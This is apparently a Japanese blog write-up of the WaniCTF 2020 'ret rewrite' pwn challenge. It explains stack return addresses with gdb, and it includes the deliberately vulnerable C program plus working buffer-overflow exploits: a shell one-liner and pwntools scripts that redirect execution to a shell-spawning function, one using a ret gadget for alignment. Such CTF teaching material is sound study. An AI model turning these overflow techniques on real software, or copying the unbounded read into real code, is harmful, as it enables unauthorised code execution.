WaniCTF 2020 pwn 05 ret rewrite Writeup


これが pwn問題 に関する初投稿！

vuln関数とwin関数があるが，main関数からはvuln関数のみcallされる。
win関数を呼べばshellがとれるが，win関数はどこからもcallされない。
vuln関数にはbofの脆弱性がある。
main関数からvuln関数をcallした時にスタックに積まれたvuln関数のリターンアドレスをbofでwin関数のアドレスに書き換え，どこからもcallされていないwin関数を呼び出すという問題です。

また，スタックのアライメントについても学習できます。


攻撃コード1

```shell
$ (echo -e "AAAAAAAAAAAAAAAAAAAAAA\x38\x08\x40"; cat) | ./pwn05
```

攻撃コード2

```python:pwn05.py
import pwn

#io = pwn.remote("ret.wanictf.org", 9005)
io = pwn.process("./pwn05")

ret = io.readuntil("What's your name?: ")
print(ret)

#addr = 0x400837
addr = 0x400838
s = b"A" * 22
s += pwn.p64(addr)

print(s)

io.send(s)
io.interactive()
```

攻撃コード3 （ret でアライメント調整）

```python:pwn051.py
import pwn

#io = pwn.remote("ret.wanictf.org", 9005)
io = pwn.process("./pwn05")

ret = io.readuntil("What's your name?: ")
print(ret)

win_addr = 0x400837
ret_addr = 0x400696
s = b"A" * 22
s += pwn.p64(ret_addr)
s += pwn.p64(win_addr)

print(s)

io.send(s)
io.interactive()
```

問題文

```
nc ret.wanictf.org 9005
stackの仕組みを学びましょう。
関数の戻りアドレスはstackに積まれます。
"congraturation"が出力されてもスタックのアライメントの問題でwin関数のアドレスから少しずらす必要がある場合があります。
(echo -e "\x11\x11\x11\x11\x11\x11"; cat) | nc ret.wanictf.org 9005
念のためpwntoolsのサンプルプログラム「pwn05_sample.py」を載せておきました。
```

配布データ

```
pwn05.c
pwn05
```

```c:pwn05.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

char str_head[] = "Hello ";
char str_tail[] = "!\n";

void init();
void debug_stack_dump(unsigned long rsp, unsigned long rbp);

void win()
{
    puts("congratulation!");
    system("/bin/sh");
    exit(0);
}

void vuln()
{
    char name[10];
    int ret;

    printf("What's your name?: ");
    ret = read(0, name, 0x100);
    name[ret - 1] = 0;

    write(0, str_head, strlen(str_head));
    write(0, name, strlen(name));
    write(0, str_tail, strlen(str_tail));

    { //for learning stack
        register unsigned long rsp asm("rsp");
        register unsigned long rbp asm("rbp");
        debug_stack_dump(rsp, rbp);
    }
}

int main()
{
    init();
    while (1)
    {
        vuln();
    }
}

void init()
{
    alarm(30);
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
}

void debug_stack_dump(unsigned long rsp, unsigned long rbp)
{
    unsigned long i;
    printf("\n***start stack dump***\n");
    i = rsp;
    while (i <= rbp + 32)
    {
        unsigned long *p;
        p = (unsigned long *)i;
        printf("0x%lx: 0x%016lx", i, *p);
        if (i == rsp)
        {
            printf(" <- rsp");
        }
        else if (i == rbp)
        {
            printf(" <- rbp");
        }
        else if (i == rbp + 8)
        {
            printf(" <- return address");
        }
        printf("\n");
        i += 8;
    }
    printf("***end stack dump***\n\n");
}
```

どこからも呼ばれない win() を呼び出せばフラグが取れそうです。
とりあえず pwn05 を実行してみます。

```
$ ./pwn05
What's your name?: AAA
Hello AAA!

***start stack dump***
0x7fffe10fb790: 0x000000414141b890 <- rsp
0x7fffe10fb798: 0x0000000400400974
0x7fffe10fb7a0: 0x00007fffe10fb7b0 <- rbp
0x7fffe10fb7a8: 0x0000000000400928 <- return address
0x7fffe10fb7b0: 0x0000000000400a50
0x7fffe10fb7b8: 0x00007f4f5a021bf7
0x7fffe10fb7c0: 0x0000000000000001
***end stack dump***

What's your name?:
```

スタックが見えていますが，ここはあえて，gdbで解きます。

それでは，gdbスタート

```
$ gdb -q ./pwn05
Reading symbols from ./pwn05...(no debugging symbols found)...done.

gdb-peda$ b main
Breakpoint 1 at 0x400914

gdb-peda$ r
Starting program: /mnt/c/pwn05

gdb-peda$ pdisass main
Dump of assembler code for function main:
   0x0000000000400910 <+0>:     push   rbp
   0x0000000000400911 <+1>:     mov    rbp,rsp
=> 0x0000000000400914 <+4>:     mov    eax,0x0
   0x0000000000400919 <+9>:     call   0x40092a <init>
   0x000000000040091e <+14>:    mov    eax,0x0
   0x0000000000400923 <+19>:    call   0x40085d <vuln>
   0x0000000000400928 <+24>:    jmp    0x40091e <main+14>
End of assembler dump.
```

call   0x40085d vuln の戻りアドレス 0x400928 がスタックに積まれているはずです。

※main関数から見たら次の行ですが，RIP（命令ポインタ）は１つだけでvuln関数内を指し示すので，「次」がわからなくなります。そこで関数呼び出しにスタックが使われます。

```
gdb-peda$ si
```

でvuln関数の中に入っていきます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/8a93a036-13f3-e3bc-e1b4-8aad8452d361.png)

```
gdb-peda$ pdisass vuln
Dump of assembler code for function vuln:
=> 0x000000000040085d <+0>:     push   rbp
   0x000000000040085e <+1>:     mov    rbp,rsp
   0x0000000000400861 <+4>:     sub    rsp,0x10
   0x0000000000400865 <+8>:     lea    rdi,[rip+0x280]        # 0x400aec
   0x000000000040086c <+15>:    mov    eax,0x0
   0x0000000000400871 <+20>:    call   0x400710 <printf@plt>
   0x0000000000400876 <+25>:    lea    rax,[rbp-0xe]
   0x000000000040087a <+29>:    mov    edx,0x100
   0x000000000040087f <+34>:    mov    rsi,rax
   0x0000000000400882 <+37>:    mov    edi,0x0
   0x0000000000400887 <+42>:    call   0x400730 <read@plt>
   0x000000000040088c <+47>:    mov    DWORD PTR [rbp-0x4],eax
   0x000000000040088f <+50>:    mov    eax,DWORD PTR [rbp-0x4]
   0x0000000000400892 <+53>:    sub    eax,0x1
   0x0000000000400895 <+56>:    cdqe
   0x0000000000400897 <+58>:    mov    BYTE PTR [rbp+rax*1-0xe],0x0
   0x000000000040089c <+63>:    lea    rdi,[rip+0x2007d5]        # 0x601078 <str_head>
   0x00000000004008a3 <+70>:    call   0x4006e0 <strlen@plt>
   0x00000000004008a8 <+75>:    mov    rdx,rax
   0x00000000004008ab <+78>:    lea    rsi,[rip+0x2007c6]        # 0x601078 <str_head>
   0x00000000004008b2 <+85>:    mov    edi,0x0
   0x00000000004008b7 <+90>:    call   0x4006d0 <write@plt>
   0x00000000004008bc <+95>:    lea    rax,[rbp-0xe]
   0x00000000004008c0 <+99>:    mov    rdi,rax
   0x00000000004008c3 <+102>:   call   0x4006e0 <strlen@plt>
   0x00000000004008c8 <+107>:   mov    rdx,rax
   0x00000000004008cb <+110>:   lea    rax,[rbp-0xe]
   0x00000000004008cf <+114>:   mov    rsi,rax
   0x00000000004008d2 <+117>:   mov    edi,0x0
   0x00000000004008d7 <+122>:   call   0x4006d0 <write@plt>
   0x00000000004008dc <+127>:   lea    rdi,[rip+0x20079c]        # 0x60107f <str_tail>
   0x00000000004008e3 <+134>:   call   0x4006e0 <strlen@plt>
   0x00000000004008e8 <+139>:   mov    rdx,rax
   0x00000000004008eb <+142>:   lea    rsi,[rip+0x20078d]        # 0x60107f <str_tail>
   0x00000000004008f2 <+149>:   mov    edi,0x0
   0x00000000004008f7 <+154>:   call   0x4006d0 <write@plt>
   0x00000000004008fc <+159>:   mov    rdx,rbp
   0x00000000004008ff <+162>:   mov    rax,rsp
   0x0000000000400902 <+165>:   mov    rsi,rdx
   0x0000000000400905 <+168>:   mov    rdi,rax
   0x0000000000400908 <+171>:   call   0x400977 <debug_stack_dump>
   0x000000000040090d <+176>:   nop
   0x000000000040090e <+177>:   leave
   0x000000000040090f <+178>:   ret
End of assembler dump.
```

call read より後で， 文字列の末尾を 0x00 にしている
mov    BYTE PTR [rbp+rax*1-0xe],0x0
が終わった 0x000000000040089c にブレークポイントを設定し， c (continue)で流します。

```
gdb-peda$ b *0x000000000040089c
Breakpoint 2 at 0x40089c
gdb-peda$ c
Continuing.
What's your name?:
```

What's your name?: ときますので， AAA を入力
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/aaf15196-9340-5d6f-039f-16db69c023b7.png)

スタックに入力した AAA と　戻りアドレス 0x400928 があります。
さらに詳細にスタックを確認します。

```
gdb-peda$ x/10xg 0x7ffffffee290
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/ccf6ca35-1c9d-4481-79a5-8ef73a9fa6ef.png)
今は， A は３個ですが蛍光ペンで塗った部分だけ，つまり，A が 22個必要です。

次に，win のアドレスを調べます。

```
gdb-peda$ p &win
$1 = (<text variable, no debug info> *) 0x400837 <win>
```

攻撃してみます。

```
$ (echo -e "AAAAAAAAAAAAAAAAAAAAAA\x37\x08\x40"; cat) | ./pwn05
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/91660683-821a-a27f-4cef-f1379bdabb45.png)
congratulation!と出ていますが，シェルは動きません。

問題のヒント
"congraturation"が出力されてもスタックのアライメントの問題でwin関数のアドレスから少しずらす必要がある場合があります。

push rbp の次に飛ばせばよさそうです。
もう一度 gdb で win　関数を調べます

```
gdb-peda$ pdisass win
Dump of assembler code for function win:
   0x0000000000400837 <+0>:     push   rbp
   0x0000000000400838 <+1>:     mov    rbp,rsp
   0x000000000040083b <+4>:     lea    rdi,[rip+0x292]        # 0x400ad4
   0x0000000000400842 <+11>:    call   0x4006c0 <puts@plt>
   0x0000000000400847 <+16>:    lea    rdi,[rip+0x296]        # 0x400ae4
   0x000000000040084e <+23>:    call   0x400700 <system@plt>
   0x0000000000400853 <+28>:    mov    edi,0x0
   0x0000000000400858 <+33>:    call   0x400740 <exit@plt>
End of assembler dump.
```

push rbp の次は 0x400838 です。

再度，攻撃してみます。

```
$ (echo -e "AAAAAAAAAAAAAAAAAAAAAA\x38\x08\x40"; cat) | ./pwn05
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/82bdb680-b4cb-7547-ef1b-a750bf3a06f5.png)
ビンゴ

retでアライメント調整

ret は pop + jmp

https://vanya.jp.net/os/x86call/#callret

ret のアドレスを objdump で調べる

```
objdump -d -M intel ./pwn05 | less
/ c3
  400696:       c3                      ret    
```

0x400696だ

```python:pwn051.py
import pwn

#io = pwn.remote("ret.wanictf.org", 9005)
io = pwn.process("./pwn05")

ret = io.readuntil("What's your name?: ")
print(ret)

win_addr = 0x400837
ret_addr = 0x400696
s = b"A" * 22
s += pwn.p64(ret_addr)
s += pwn.p64(win_addr)

print(s)

io.send(s)
io.interactive()
```

　
　
参考にしたサイト（ありがとうございました。）

https://github.com/wani-hackase/wanictf2020-writeup/tree/master/pwn/05-ret-rewrite

https://qiita.com/ssssssssok1/items/b8ffca6b68149812c335

https://uchan.hateblo.jp/entry/2018/02/16/232029